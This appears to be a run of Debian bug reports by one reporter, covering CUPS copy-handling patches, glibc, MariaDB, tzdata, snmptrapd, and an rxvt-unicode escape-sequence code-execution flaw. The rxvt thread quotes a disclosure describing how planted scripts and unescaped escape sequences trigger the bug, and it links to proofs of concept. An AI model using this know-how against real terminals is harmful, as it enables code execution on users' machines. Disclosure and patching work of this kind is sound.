Bug#1065157: cups-core-drivers: Filters ignore cupsManualCopies
> Where did you report them? As mentioned: https://github.com/OpenPrinting/cups/issues/917 https://github.com/OpenPrinting/cups/issues/918 https://github.com/OpenPrinting/cups/issues/919 and also https://github.com/OpenPrinting/cups/issues/916 Cheers, Paul -- Paul Szabo p...@maths.usyd.edu.au www.maths.usyd.edu.au/u/psz School of Mathematics and Statistics University of SydneyAustralia Join the Union and fight for a better University: www.nteu.au/join
Bug#1065157: cups-core-drivers: Filters ignore cupsManualCopies
Dear Till, Thanks for the pointer to libcupsfilters, now that issue reported also: https://github.com/OpenPrinting/libcupsfilters/issues/53 (Sadly, my other issues were "declined" upstream. Maybe they know what they are doing...) Thanks, Paul -- Paul Szabo p...@maths.usyd.edu.au www.maths.usyd.edu.au/u/psz School of Mathematics and Statistics University of SydneyAustralia
Bug#1065157: cups-core-drivers: Filters ignore cupsManualCopies
Most issues now reported upstream: https://github.com/OpenPrinting/cups/issues/917 https://github.com/OpenPrinting/cups/issues/918 https://github.com/OpenPrinting/cups/issues/919 The issue with pdftopdf not reported upstream, because I could not find the corresponding "current" source. Cheers, Paul -- Paul Szabo p...@maths.usyd.edu.au www.maths.usyd.edu.au/u/psz School of Mathematics and Statistics University of SydneyAustralia Join the Union and fight for a better University: www.nteu.au/join
Bug#1067122: cups-daemon: cupsd ignores job-originating-host-name
Issue now reported upstream: https://github.com/OpenPrinting/cups/issues/916 Cheers, Paul -- Paul Szabo p...@maths.usyd.edu.au www.maths.usyd.edu.au/u/psz School of Mathematics and Statistics University of SydneyAustralia Join the Union and fight for a better University: www.nteu.au/join
Bug#1067122: cups-daemon: cupsd ignores job-originating-host-name
Package: cups-daemon
Version: 2.4.2-3+deb12u5
Severity: normal
Tags: patch
I noticed that the cupsd server ignores (overrides) the value of
job-originating-host-name sent. I get good results with my proposed
patch for this issue, below.
Cheers, Paul
--
Paul Szabo p...@maths.usyd.edu.au www.maths.usyd.edu.au/u/psz
School of Mathematics and Statistics University of SydneyAustralia
-- System Information:
Debian Release: 12.5
APT prefers stable-security
APT policy: (500, 'stable-security'), (500, 'stable')
Architecture: amd64 (x86_64)
Kernel: Linux 6.5+pk12.50 (SMP w/64 CPU threads; PREEMPT)
Locale: LANG=C.UTF-8, LC_CTYPE=C.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
Versions of packages cups-daemon depends on:
ii adduser3.134
ii bc 1.07.1-3+b1
ii init-system-helpers1.65.2
ii libavahi-client3 0.8-10
ii libavahi-common3 0.8-10
ii libc6 2.36-9+deb12u4
ii libcups2 2.4.2-3+deb12u5
ii libdbus-1-31.14.10-1~deb12u1
ii libgssapi-krb5-2 1.20.1-2+deb12u1
ii libpam0g 1.5.2-6+deb12u1
ii libpaper1 1.1.29
ii libsystemd0252.22-1~deb12u1++psz
ii lsb-base 11.6
ii procps 2:4.0.2-3
ii ssl-cert 1.1.2
ii sysvinit-utils [lsb-base] 3.06-4
Versions of packages cups-daemon recommends:
pn avahi-daemon
pn colord
pn cups-browsed
pn ipp-usb
Versions of packages cups-daemon suggests:
ii cups 2.4.2-3+deb12u5
ii cups-bsd 2.4.2-3+deb12u5
ii cups-client2.4.2-3+deb12u5
ii cups-common2.4.2-3+deb12u5
ii cups-filters 1.28.17-3
pn cups-pdf
ii cups-ppdc 2.4.2-3+deb12u5
ii cups-server-common 2.4.2-3+deb12u5
pn foomatic-db-compressed-ppds | foomatic-db
ii ghostscript10.0.0~dfsg-11+deb12u3
ii poppler-utils 22.12.0-2+b1
pn smbclient
ii udev 252.22-1~deb12u1
-- no debconf information
--- cups-2.4.2/scheduler/ipp.c.ORIG 2024-03-18 16:35:43.0 +1100
+++ cups-2.4.2/scheduler/ipp.c 2024-03-18 16:38:21.073982871 +1100
@@ -1637,9 +1637,20 @@
* Request contains a job-originating-host-name attribute; validate it...
*/
+ /*
+* PSz 18 Mar 24
+* Override if the value is clearly wrong or impossible, or if
+* the value is "localhost" but relative to some remote machine.
+* Do not override just because we are not talking to localhost;
+* in particular, keep and treasure the value sent to us from
+* some intermediate or proxy server.
+*if (attr->value_tag != IPP_TAG_NAME ||
+*attr->num_values != 1 ||
+*strcmp(con->http->hostname, "localhost"))
+*/
if (attr->value_tag != IPP_TAG_NAME ||
attr->num_values != 1 ||
-strcmp(con->http->hostname, "localhost"))
+!strcmp(attr->values[0].string.text, "localhost"))
{
/*
* Can't override the value if we aren't connected via localhost.
Bug#1065157: cups-core-drivers: Filters ignore cupsManualCopies
[But, there are bugs also in pstops ...]
I noticed bugs related to multiple copies in several places:
- filter/pdftopdf (package cups-filters-core-drivers)
- filter/pstops (package cups-core-drivers)
- backend-available/lpd (package cups)
Please see fixes for the sources of each, below.
Maybe the essence of the issue is in the design of CUPS, so maybe cupsd
or libcups.so, in how filters and backend are asked to produce copies.
I did not change that, but only provide some comments in the source file.
(The issue does not fully affect me, since I use cupsManualCopies off.)
Below the patch file, both as plain-text and as attachment (the latter
hopefully preserving blanks and tabs).
Cheers, Paul
--
Paul Szabo p...@maths.usyd.edu.au www.maths.usyd.edu.au/u/psz
School of Mathematics and Statistics University of SydneyAustralia
-
--- cups-2.4.2/backend/lpd.c.ORIG 2022-05-26 16:17:21.0 +1000
+++ cups-2.4.2/backend/lpd.c2024-03-05 14:09:07.739682339 +1100
@@ -214,7 +214,14 @@
format= 'l';
order = ORDER_CONTROL_DATA;
reserve = RESERVE_ANY;
- manual_copies = 1;
+ /* PSz 29 Feb 2024
+ * Set default manual_copies "off".
+ * With manual_copies "on", we simply run the copies together.
+ * Then a job of odd number of pages sent to a duplex printer,
+ * the first page of second copy gets printed on the back of the
+ * last page of the first copy.
+ */
+ manual_copies = 0;
timeout = 300;
contimeout= 7 * 24 * 60 * 60;
@@ -305,7 +312,7 @@
else if (!_cups_strcasecmp(name, "mode") && value[0])
{
/*
-* Set control/data order...
+* Set mode...
*/
if (!_cups_strcasecmp(value, "standard"))
@@ -351,6 +358,13 @@
/*
* Set manual copies...
*/
+ /* PSz 28 Feb 24
+* Should not this be
+* cupsGetOption("manual_copies", num_jobopts, jobopts)
+* or maybe some
+* ppd->manual_copies
+* instead?
+*/
manual_copies = !value[0] || !_cups_strcasecmp(value, "on") ||
!_cups_strcasecmp(value, "yes") ||
@@ -397,7 +411,10 @@
}
}
- if (mode == MODE_STREAM)
+ /* PSz 1 Mar 2024
+ * This override needed only if data from STDIN and in STREAM mode
+ */
+ if (argc == 6 && mode == MODE_STREAM)
order = ORDER_CONTROL_DATA;
/*
@@ -499,7 +516,13 @@
* Queue the job...
*/
- if (argc > 6)
+ /* PSz 27 Feb 2024
+ * Do not (needlessly) ignore number of copies requested.
+ * Surely can do when have file, whether named or our temporary.
+ * Can also do when data from STDIN and STREAM mode, though
+ * not in the manual_copies way.
+ */
+ if (argc > 6 || mode == MODE_STANDARD)
{
if (manual_copies)
{
@@ -511,22 +534,16 @@
manual_copies = 1;
copies= atoi(argv[4]);
}
+ }
-status = lpd_queue(hostname, addrlist, resource + 1, fd, snmp_fd, mode,
- username, title, copies, banner, format, order, reserve,
- manual_copies, timeout, contimeout,
- cupsGetOption("job-originating-host-name", num_jobopts,
-jobopts));
+ status = lpd_queue(hostname, addrlist, resource + 1, fd, snmp_fd, mode,
+ username, title, copies, banner, format, order, reserve,
+manual_copies, timeout, contimeout,
+cupsGetOption("job-originating-host-name", num_jobopts,
+ jobopts));
-if (!status)
- fprintf(stderr, "PAGE: 1 %d\n", atoi(argv[4]));
- }
- else
-status = lpd_queue(hostname, addrlist, resource + 1, fd, snmp_fd, mode,
- username, title, 1, banner, format, order, reserve, 1,
- timeout, contimeout,
- cupsGetOption("job-originating-host-name", num_jobopts,
-jobopts));
+ if (!status)
+fprintf(stderr, "PAGE: 1 %d\n", atoi(argv[4]));
/*
* Remove the temporary file if necessary...
@@ -956,6 +973,10 @@
* Next, open the print file and figure out its size...
*/
+/* PSz 1 Mar 2024
+ * Are we sure to get a non-zero print_fd when have file:
+ * do we "really know" that we were invoked with STDIN open?
+ */
if (print_fd)
{
/*
@@ -1019,13 +1040,18 @@
cptr += strlen(cptr);
}
-while (copies > 0)
+/* PSz 28 Feb 2024
+ * Check size remaining, do not blow with too many copies
+ */
+while (copies > 0 && ((sizeof(control) - (size_t)(cptr - control)) > 256))
{
snprintf(cptr, sizeof(control) - (size_t)(cptr - control),
"%cdfA%03d%.15s\n",
fo
Bug#1065157: cups-core-drivers: Filters ignore cupsManualCopies
[Sorry about the previous, incomplete message.] Further testing shows that the bug is not in filter/pstops but in filter/pdftopdf; I do not yet know what the issue is, will try to find out. Please re-assign this bug to package cups-filters-core-drivers. Cheers, Paul -- Paul Szabo p...@maths.usyd.edu.au www.maths.usyd.edu.au/u/psz School of Mathematics and Statistics University of SydneyAustralia Join the Union and fight for a better University: www.nteu.au/join
Bug#1065157: cups-core-drivers: Filters ignore cupsManualCopies
Further testing shows that the bug is not in filter/pstops but in filter/pdftopdf. (I do not yet know what Maybe this bug should be reassigned to package -- Paul Szabo p...@maths.usyd.edu.au www.maths.usyd.edu.au/u/psz School of Mathematics and Statistics University of SydneyAustralia Join the Union and fight for a better University: www.nteu.au/join
Bug#1065157: cups-core-drivers: Filters ignore cupsManualCopies
I attach my PPD file below. -- Paul Szabo p...@maths.usyd.edu.au www.maths.usyd.edu.au/u/psz School of Mathematics and Statistics University of SydneyAustralia Join the Union and fight for a better University: www.nteu.au/join my.ppd Description: application/vnd.cups-ppd
Bug#1065157: cups-core-drivers: Filters ignore cupsManualCopies
Package: cups-core-drivers Version: 2.4.2-3+deb12u5 Severity: normal Seems that the cups filters ignore the setting of either *cupsManualCopies: False *cupsManualCopies: True in the PPD file, but anyway produce (internally handle?) the copies requested, regardless of which one was set. In my testing, printing a PDF file causes CUPS to run the filters /usr/lib/cups/filter/pdftopdf /usr/lib/cups/filter/pdftops and then when the PS file gets to the backend /usr/lib/cups/backend/lpd the copies are "done" already. Or maybe, I somehow use those options wrongly? Thanks, Paul Paul Szabo p...@maths.usyd.edu.au www.maths.usyd.edu.au/u/psz School of Mathematics and Statistics University of SydneyAustralia
Bug#1060233: libc6: Missing libdl.so
Dear Aurelien, Thanks for the help. Please close this bug report. Thanks, Paul -- Paul Szabo p...@maths.usyd.edu.au www.maths.usyd.edu.au/u/psz School of Mathematics and Statistics University of SydneyAustralia Join the Union and fight for a better University: www.nteu.au/join
Bug#1060233: libc6: Missing libdl.so
Dear Aurelien, > Starting with glibc 2.34, libdl is an empty library. Therefore only a > libdl.a is provided to support linking with -ldl. At bullseye, I explicitly needed to use libdl e.g. with constructs like export LD_LIBRARY_PATH=/somewhere export LD_PRELOAD='libdl.so gconf_client_get_string.so' with code using dlopen() to then replace (modify?) library calls. You suggest that there is no longer a need to explicitly preload libdl: great, will simplify all my instances. (Until then, the useless symlink allows the scripts to work as before.) Also: why provide the "empty" libdl.so.2 object, still? Thanks, Paul -- Paul Szabo p...@maths.usyd.edu.au www.maths.usyd.edu.au/u/psz School of Mathematics and Statistics University of SydneyAustralia Join the Union and fight for a better University: www.nteu.au/join
Bug#1060233: libc6: Missing libdl.so
Package: libc6 Version: 2.36-9+deb12u3 Severity: normal At bookworm, libdl.so is missing. The file /usr/lib/x86_64-linux-gnu/libdl.so.2 is provided, but there is no symlink .../libdl.so -> .../libdl.so.2 Easily corrected with command: ln -s libdl.so.2 /usr/lib/x86_64-linux-gnu/libdl.so At bullseye, libdl.so.2 was in package libc6, while the symlink libdl.so was in libc6-dev (which seems somewhat wrong already). Cheers, Paul Paul Szabo p...@maths.usyd.edu.au www.maths.usyd.edu.au/u/psz School of Mathematics and Statistics University of SydneyAustralia -- System Information: Debian Release: 12.4 APT prefers stable-security APT policy: (500, 'stable-security'), (500, 'stable') Architecture: amd64 (x86_64) Kernel: Linux 6.5+pk12.50 (SMP w/64 CPU threads; PREEMPT) Locale: LANG=C.UTF-8, LC_CTYPE=C.UTF-8 (charmap=UTF-8), LANGUAGE not set Shell: /bin/sh linked to /usr/bin/dash Init: systemd (via /run/systemd/system) Versions of packages libc6 depends on: ii libgcc-s1 12.2.0-14 Versions of packages libc6 recommends: ii libidn2-0 2.3.3-1+b1 Versions of packages libc6 suggests: ii debconf [debconf-2.0] 1.5.82 ii glibc-doc 2.36-9+deb12u3 ii libc-l10n 2.36-9+deb12u3 ii libnss-nis 3.1-4 ii libnss-nisplus 1.3-4 ii locales2.36-9+deb12u3 -- debconf information: * libraries/restart-without-asking: true glibc/kernel-not-supported: glibc/disable-screensaver: * glibc/restart-failed: * glibc/upgrade: true glibc/kernel-too-old: glibc/restart-services:
Bug#1060056: mariadb-server: mariadb-hotcopy fails for performance_schema and sys
> ... why use a simple tool, when a complex one is almost as good? Time for mariadb-hotcopy: 0.13user 5.50system 0:06.08elapsed 92%CPU Time for mariadb-backup: 0.92user 12.31system 0:28.54elapsed 46%CPU It is common Linux practice to send info to STDOUT, error to STDERR. mariadb-hotcopy gets this right, while mariadb-backup is extremely(!) chatty on STDERR. But then, these are not this bug... Cheers, Paul -- Paul Szabo p...@maths.usyd.edu.au www.maths.usyd.edu.au/u/psz School of Mathematics and Statistics University of SydneyAustralia
Bug#1060056: mariadb-server: mariadb-hotcopy fails for performance_schema and sys
You convinced me (I convinced myself?): I now use mariadb-backup instead, as per the lines in my patch in MDEV-33187: Seems mariadb-hotcopy is deprecated so maybe we should be using mariabackup? I guess this is progress: why use a simple tool, when a complex one is almost as good? Thanks, Paul -- Paul Szabo p...@maths.usyd.edu.au www.maths.usyd.edu.au/u/psz School of Mathematics and Statistics University of SydneyAustralia Join the Union and fight for a better University: www.nteu.au/join
Bug#1060056: mariadb-server: mariadb-hotcopy fails for performance_schema and sys
Dear Otto, Thanks for your quick reply. MDEV-33187 is "new". MDEV-30259 is only year old, though the issue seems ten years old: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=735014 Thanks, Paul -- Paul Szabo p...@maths.usyd.edu.au www.maths.usyd.edu.au/u/psz School of Mathematics and Statistics University of SydneyAustralia
Bug#1060056: mariadb-server: mariadb-hotcopy fails for performance_schema and sys
Package: mariadb-server Version: 1:10.11.4-1~deb12u1 Severity: normal mariadb-hotcopy produces errors. For details and patch please see the upstream report https://jira.mariadb.org/browse/MDEV-33187 (and probably also the older https://jira.mariadb.org/browse/MDEV-30259 that really should have made it into bookworm). Please include those patches in the next point release! Thanks, Paul Paul Szabo p...@maths.usyd.edu.au www.maths.usyd.edu.au/u/psz School of Mathematics and Statistics University of SydneyAustralia -- System Information: Debian Release: 12.4 APT prefers stable-security APT policy: (500, 'stable-security'), (500, 'stable') Architecture: i386 (x86_64) Kernel: Linux 6.5+pk12.50 (SMP w/16 CPU threads; PREEMPT) Kernel taint flags: TAINT_WARN Locale: LANG=C.UTF-8, LC_CTYPE=C.UTF-8 (charmap=UTF-8), LANGUAGE not set Shell: /bin/sh linked to /usr/bin/dash Init: systemd (via /run/systemd/system) Versions of packages mariadb-server depends on: ii adduser3.134 ii debconf [debconf-2.0] 1.5.82 ii galera-4 26.4.13-1 ii gawk 1:5.2.1-2 ii iproute2 6.1.0-3 ii libc6 2.36-9+deb12u3 ii libdbi-perl1.643-4 ii libpam0g 1.5.2-6+deb12u1 ii libssl33.0.11-1~deb12u2 ii libstdc++6 12.2.0-14 ii lsof 4.95.0-1 ii mariadb-client 1:10.11.4-1~deb12u1 ii mariadb-common 1:10.11.4-1~deb12u1 ii mariadb-server-core1:10.11.4-1~deb12u1 ii passwd 1:4.13+dfsg1-1+b1 ii perl 5.36.0-7+deb12u1 ii procps 2:4.0.2-3 ii psmisc 23.6-1 ii rsync 3.2.7-1 ii socat 1.7.4.4-2 ii zlib1g 1:1.2.13.dfsg-1 Versions of packages mariadb-server recommends: ii libhtml-template-perl 2.97-2 pn mariadb-plugin-provider-bzip2 pn mariadb-plugin-provider-lz4 pn mariadb-plugin-provider-lzma pn mariadb-plugin-provider-lzo pn mariadb-plugin-provider-snappy pn pv Versions of packages mariadb-server suggests: ii bsd-mailx [mailx] 8.1.2-0.20220412cvs-1 pn mariadb-test pn netcat-openbsd -- debconf information: mariadb-server/nis_warning: mariadb-server/old_data_directory_saved: mariadb-server/postrm_remove_databases: false
Bug#1057186: tzdata: NTP complains about an expiring leap-seconds.list
found 1057186 2023c-5
thanks
Same issue on bookworm, syslog shows:
Dec 1 11:04:23 machine ntpd[PID]: CLOCK: leapsecond file
('/usr/share/zoneinfo/leap-seconds.list'): will expire in less than 27 days
with tzdata version 2023c-5.
Thanks, Paul
--
Paul Szabo p...@maths.usyd.edu.au www.maths.usyd.edu.au/u/psz
School of Mathematics and Statistics University of SydneyAustralia
Join the Union and fight for a better University: www.nteu.au/join
Bug#1050208: libc6: double free detected in tcache 2, then abort
Package: libc6 Version: 2.36-9+deb12u1 Severity: important Dear Maintainer, I noticed an issue with malloc() or free(). I only noticed this recently, with libc6 version 2.36-9+deb12u1; reverting to previous 2.36-9 did not seem to help. The issue: sending SIGHUP to the inetd process (from package openbsd-inetd version 0.20221205-1) should cause it to re-load its configuration, but instead it elicits free(): double free detected in tcache 2 and an abort. This is easiest seen (after "systemctl stop inetd") with root# inetd -d -i & sleep 1; kill -HUP $!; sleep 1; jobs [1] 2431 ADD: ident proto=tcp4, wait.max=1.256 user:group=identd:(default) builtin=0 server=/usr/sbin/identd free(): double free detected in tcache 2 [1]+ Aborted inetd -d -i root# I believe that this "double free" is spurious, as there are no errors (but inetd reloads as expected) when using e.g. root# LD_PRELOAD=libc_malloc_debug.so MALLOC_CHECK_=1 inetd -d -i & sleep 1; kill -HUP $!; sleep 1; jobs; kill $!; sleep 1; jobs [1] 2437 ADD: ident proto=tcp4, wait.max=1.256 user:group=identd:(default) builtin=0 server=/usr/sbin/identd REDO: ident proto=tcp4, wait.max=1.256 user:group=identd:(default) builtin=0 server=/usr/sbin/identd [1]+ Running LD_PRELOAD=libc_malloc_debug.so MALLOC_CHECK_=0 inetd -d -i & [1]+ DoneLD_PRELOAD=libc_malloc_debug.so MALLOC_CHECK_=0 inetd -d -i root# No errors are shown with any value of MALLOC_CHECK_ from 0 to 20, or even without any MALLOC_CHECK_ but with just LD_PRELOAD so with root# LD_PRELOAD=libc_malloc_debug.so inetd -d -i & sleep 1; kill -HUP $!; sleep 1; jobs; kill $!; sleep 1; jobs Instead of LD_PRELOAD, some glibc tunables can also help to avoid the "double free" error. The settings that I found to help were: GLIBC_TUNABLES=glibc.malloc.tcache_count=0 GLIBC_TUNABLES=glibc.malloc.tcache_count=1 whereas none of the following helped: GLIBC_TUNABLES=glibc.malloc.tcache_count=2# or 3, 4, ... GLIBC_TUNABLES=glibc.cpu.hwcaps=-avx GLIBC_TUNABLES=glibc.cpu.hwcaps=-sse GLIBC_TUNABLES=glibc.cpu.hwcap_mask=1099511627775 The issue is present on all of my machines that boot from "disk", with amd64 or i386 architectures (both using an amd64 kernel, custom-built from linux-source version 6.1.38-4); some of these are VMs inside VirtualBox. I hope that the issue can be reproduced elsewhere. Curiously, the issue does not seem present on same machines when booting PXE and then NFS-mounted root (similar to LTSP), though the contents of /usr/lib seem identical whether booting from disk or PXE; the PXE boot sequence uses sysvinit, not systemd. Thanks Aurelien for suggesting the glibc tunables (in bug #1041836). Did not try gdb since I am not proficient with it, would not know what to look for. Please suggest anything else I should try. Thanks, Paul -- Paul Szabo p...@maths.usyd.edu.au www.maths.usyd.edu.au/u/psz School of Mathematics and Statistics University of SydneyAustralia -- System Information: Debian Release: 12.1 APT prefers stable-security APT policy: (500, 'stable-security'), (500, 'stable') Architecture: amd64 (x86_64) Kernel: Linux 6.1+pk12.06 (SMP w/12 CPU threads; PREEMPT) Locale: LANG=C.UTF-8, LC_CTYPE=C.UTF-8 (charmap=UTF-8), LANGUAGE not set Shell: /bin/sh linked to /usr/bin/dash Init: systemd (via /run/systemd/system) Versions of packages libc6 depends on: ii libgcc-s1 12.2.0-14 Versions of packages libc6 recommends: ii libidn2-0 2.3.3-1+b1 Versions of packages libc6 suggests: ii debconf [debconf-2.0] 1.5.82 ii glibc-doc 2.36-9+deb12u1 ii libc-l10n 2.36-9+deb12u1 ii libnss-nis 3.1-4 ii libnss-nisplus 1.3-4 ii locales2.36-9+deb12u1 -- debconf information: glibc/restart-failed: * glibc/upgrade: true glibc/kernel-not-supported: glibc/disable-screensaver: * libraries/restart-without-asking: true glibc/kernel-too-old: glibc/restart-services:
Bug#1041836: libc6 2.36-9+deb12u1 double free abort
I now tried the idea whether the amount of memory in the machine has a relevance to my "inetd: double free detected in tcache 2, abort" issue. I tried "mem=8G" and similar as kernel boot parameter; that produced more-or-less the expected results for memory shown by "free", but did not help to fix the issue. I may try to change physical RAM modules, not sure whether have suitable replacements. Cheers, Paul -- Paul Szabo p...@maths.usyd.edu.au www.maths.usyd.edu.au/u/psz School of Mathematics and Statistics University of SydneyAustralia
Bug#1041836: root unable to write un-owned
Bummer. This last "echo x > /tmp/x" issue is probably the result of protected_regular being set in kernel configs, see https://docs.kernel.org/admin-guide/sysctl/fs.html#id12 Sorry about the noise. (Hangs head in shame.) Cheers, Paul
Bug#1041836: root unable to write un-owned
Another oddity that should never happen: root cannot write file that he does not own. Demonstration (root running bash): root# touch /tmp/x root# ls -l /tmp/x -rw-r--r-- 1 root root 0 Aug 10 09:39 /tmp/x root# echo a > /tmp/x root# chown 2:2 /tmp/x root# ls -l /tmp/x -rw-r--r-- 1 bin bin 2 Aug 10 09:39 /tmp/x root# echo b > /tmp/x -bash: /tmp/x: Permission denied root# chown 0:0 /tmp/x root# ls -l /tmp/x -rw-r--r-- 1 root root 2 Aug 10 09:39 /tmp/x root# echo c > /tmp/x This issue seems to reproduce on all machines where I tried. Quite possibly unrelated (so I may cop some flak) ... or maybe these "impossible" happenings have a common cause? Cheers, Paul
Bug#1041836: libc6 2.36-9+deb12u1 double free abort
Dear Aurelien, I used LD_PRELOAD=libc_malloc_debug.so for MALLOC_CHECK_. With those extra checks (tried all values of MALLOC_CHECK_ from 0 to 20), glibc did not show any errors, suggesting that the bug is not in inetd. The original poster said his issue shows on some hardware only. I observed my issue on a wider range of CPUs: present on Xeon4309Y, Xeon6326 and i7-8700, but not on i7-4790, i5-4570, i5-3470, N5105 or x5-Z8350. Maybe the difference is in the RAM of the machine? Those with my issue have 16GB or more, those without have 8GB or less. Cheers, Paul
Bug#1041836: libc6 2.36-9+deb12u1 double free abort
Maybe related: seems that the default for "mcheck" or MALLOC_CHECK_ has changed. I observe an oddity. I only noticed this recently, with libc6 version 2.36-9+deb12u1; reverting to previous 2.36-9 did not seem to help. The issue. Sending SIGHUP to the inetd(8) process should cause it to re-load its configuration, but instead it elicits free(): double free detected in tcache 2 and an abort. This is easiest seen (after "systemctl stop inetd") with root# inetd -d -i & sleep 1; kill -HUP $!; sleep 1; jobs [1] 2431 ADD: ident proto=tcp4, wait.max=1.256 user:group=identd:(default) builtin=0 server=/usr/sbin/identd free(): double free detected in tcache 2 [1]+ Aborted inetd -d -i root# Sanity(?) is restored by using MALLOC_CHECK_=0 (needs LD_PRELOAD): root# LD_PRELOAD=libc_malloc_debug.so MALLOC_CHECK_=0 inetd -d -i & sleep 1; kill -HUP $!; sleep 1; jobs; kill $!; sleep 1; jobs [1] 2437 ADD: ident proto=tcp4, wait.max=1.256 user:group=identd:(default) builtin=0 server=/usr/sbin/identd REDO: ident proto=tcp4, wait.max=1.256 user:group=identd:(default) builtin=0 server=/usr/sbin/identd [1]+ Running LD_PRELOAD=libc_malloc_debug.so MALLOC_CHECK_=0 inetd -d -i & [1]+ DoneLD_PRELOAD=libc_malloc_debug.so MALLOC_CHECK_=0 inetd -d -i root# To compound the oddity, the value of MALLOC_CHECK_ or even its presence seems ignored, just the LD_PRELOAD=libc_malloc_debug.so "fixes" the issue. Hope this helps to find the cause. Cheers, Paul References: http://btorpey.github.io/blog/2019/07/14/memory-checking/ https://www.gnu.org/software/libc/manual/html_node/Heap-Consistency-Checking.html -- Paul Szabo p...@maths.usyd.edu.au www.maths.usyd.edu.au/u/psz School of Mathematics and Statistics University of SydneyAustralia Join the Union and fight for a better University: www.nteu.au/join
Bug#1026790: snmptrapd options in systemd service
Sorry to be so contrary... but the current version does not seem to be like that. The man page says: ... -L[efos] Specify where logging output should be directed (standard error or output, to a file or via syslog). See LOGGING OPTIONS in snmpcmd(1) for details. ... -O [abeEfnqQsStTuUvxX] Specifies how MIB objects and other output should be displayed. See the section OUTPUT OPTIONS in the snmpcmd(1) manual page for details. ... I believe that -Lsd means (L) log to (s) syslog with (d) LOG_DAEMON facility. Seems that -L cannot be used on its own; and I do not see any meaning for neither -Ow nor for -w. As proof of pudding... it did not work for me with -LOw, nothing went into syslog; things are working well with -Lsd. Cheers, Paul -- Paul Szabo p...@maths.usyd.edu.au www.maths.usyd.edu.au/u/psz School of Mathematics and Statistics University of SydneyAustralia Join our enterprise bargaining campaign for a better University. I support the NTEU claims!Join the NTEU: www.nteu.au/join
Bug#1026790: snmptrapd options in systemd service
Package: snmptrapd Version: 5.9+dfsg-4+deb11u1 Severity: normal Dear Maintainer, The file /lib/systemd/system/snmptrapd.service ends up with line ExecStart=/usr/sbin/snmptrapd -LOw -f -p /run/snmptrapd.pid whereas I guess that should instead be ExecStart=/usr/sbin/snmptrapd -Lsd -f with option "right" for syslog, and no need for PID file since systemd uses its own MAINPID anyway. I guess this was needed ever since version 5.9, I just failed to report it earlier. Thanks, Paul Paul Szabo p...@maths.usyd.edu.au www.maths.usyd.edu.au/u/psz School of Mathematics and Statistics University of SydneyAustralia -- System Information: Debian Release: 11.6 APT prefers stable-security APT policy: (500, 'stable-security'), (500, 'stable') Architecture: amd64 (x86_64) Kernel: Linux 5.10+pk11.13 (SMP w/16 CPU threads) Locale: LANG=C.UTF-8, LC_CTYPE=C.UTF-8 (charmap=UTF-8), LANGUAGE not set Shell: /bin/sh linked to /bin/dash Init: systemd (via /run/systemd/system) Versions of packages snmptrapd depends on: ii init-system-helpers 1.60 ii libc62.31-13+deb11u5 ii libnetsnmptrapd405.9+dfsg-4+deb11u1 ii libsnmp405.9+dfsg-4+deb11u1 ii libwrap0 7.6.q-31 ii snmpd5.9+dfsg-4+deb11u1 Versions of packages snmptrapd recommends: ii perl 5.32.1-4+deb11u2 snmptrapd suggests no packages. -- Configuration Files: /etc/snmp/snmptrapd.conf changed [not included] -- no debconf information
Bug#988763: rxvt-unicode: Remote(?) code execution via ESC G Q
www.debian.org/lts/security/2021/dla-2671 released, a fix for buster and a DSA cannot be that far off.
Bug#988763: rxvt-unicode: Remote(?) code execution via ESC G Q
Dear Ryan, I see 9.22-11 in sid (unstable), but in bullseye (testing) it is 9.22-10 still (and buster is unchaged at 9.22-6). Will 9.22-11 make it into bullseye, will this (non?!-)security bug be fixed soon? Thanks, Paul -- Paul Szabo p...@maths.usyd.edu.au www.maths.usyd.edu.au/u/psz School of Mathematics and Statistics University of SydneyAustralia
Bug#988763: rxvt-unicode: Remote(?) code execution via ESC G Q
Dear Ryan, I just wrote: Curious that you do not consider this a bug: similar things were fixed in other terminal emulators like xterm, so people could "safely" view (i.e. cat or grep) any files, e.g. root perusing syslog. I guess I should have given examples or references. Some that come to mind: www.debian.org/security/2003/dsa-380 www.debian.org/security/2009/dsa-1694 bugs.debian.org/511516 Anyway, I solved my problem by "apt purge rxvt-unicode" on all my machines. Cheers, Paul -- Paul Szabo p...@maths.usyd.edu.au www.maths.usyd.edu.au/u/psz School of Mathematics and Statistics University of SydneyAustralia I support NTEU members taking a stand for workplace rights in the face of poorly-run change management. Visit www.nteu.org.au/sydney to learn more.
Bug#988763: rxvt-unicode: Remote(?) code execution via ESC G Q
Dear Ryan, Curious that you do not consider this a bug: similar things were fixed in other terminal emulators like xterm, so people could "safely" view (i.e. cat or grep) any files, e.g. root perusing syslog. Looking at the further message on FullDisclosure: https://seclists.org/fulldisclosure/2021/May/51 (quoted below for completeness), it seems that this is now fixed upstream in version 9.25, maybe they did consider it a bug. Cheers, Paul Paul Szabo p...@maths.usyd.edu.au www.maths.usyd.edu.au/u/psz School of Mathematics and Statistics University of SydneyAustralia Quoting message: From: def To: Date: Thu, 20 May 2021 04:38:34 +0300 Subject: Re: [FD] (u)rxvt terminal (+bash) remoteish code execution 0day Minor clarifications and additional details for the post. First and foremost, this vulnerability is not technically a zero-day for rxvt-unicode since the bug has been independently discovered & publicly discussed at oss-security at least in 2017: https://www.openwall.com/lists/oss-security/2017/05/01/20 Upstream patched the vulnerability silently back in 2017. According to rxvt-unicode commit messages and changelog entries, the vulnerability was considered to have minor "security implications" explaining why it never was considered critical enough to backport to old Linux distros. Moreover, the first patched version is rxvt-unicode 9.25 (2021-05-14) released barely a couple of weeks ago. Therefore, most Linux distros still ship *unpatched* rxvt-unicode 9.22 (2016-05-14). Yes, 9.23 & 9.24 version numbers do not exist because they were skipped in the upstream. Nonetheless the exploit remains 0day (i.e., no upstream patch available) for at least the following rxvt forks and derivatives. - rxvt 2.7.10 (the original rxvt terminal) - mrxvt 0.5.4 (unmaintainen rxvt teminal with tabs) - aterm 1.0.1 (random rxvt-based terminal from Debbie "jessie" repos) - eterm 0.9.7 (Enlightenmenth Finally, the vulnerability can be exploited in any context in which the attacker can plant payload scripts in a subdirectory of CWD and trigger code execution by writing (unescaped) ANSI escape sequences to stdout or stderr. Suitable target programs besides `scp` include popular CLI tools like `unrar` and `busybox tar` as demonstrated in the PoCs here: https://huumeet.info/~def/rxvt0day/ Note that GNU tar is not exploitable due to properly escaped filenames. - def
Bug#988763: rxvt-unicode: Remote(?) code execution via ESC G Q
Package: rxvt-unicode
Version: 9.22-6
Severity: grave
Tags: security upstream
Justification: user security hole
Dear Maintainer,
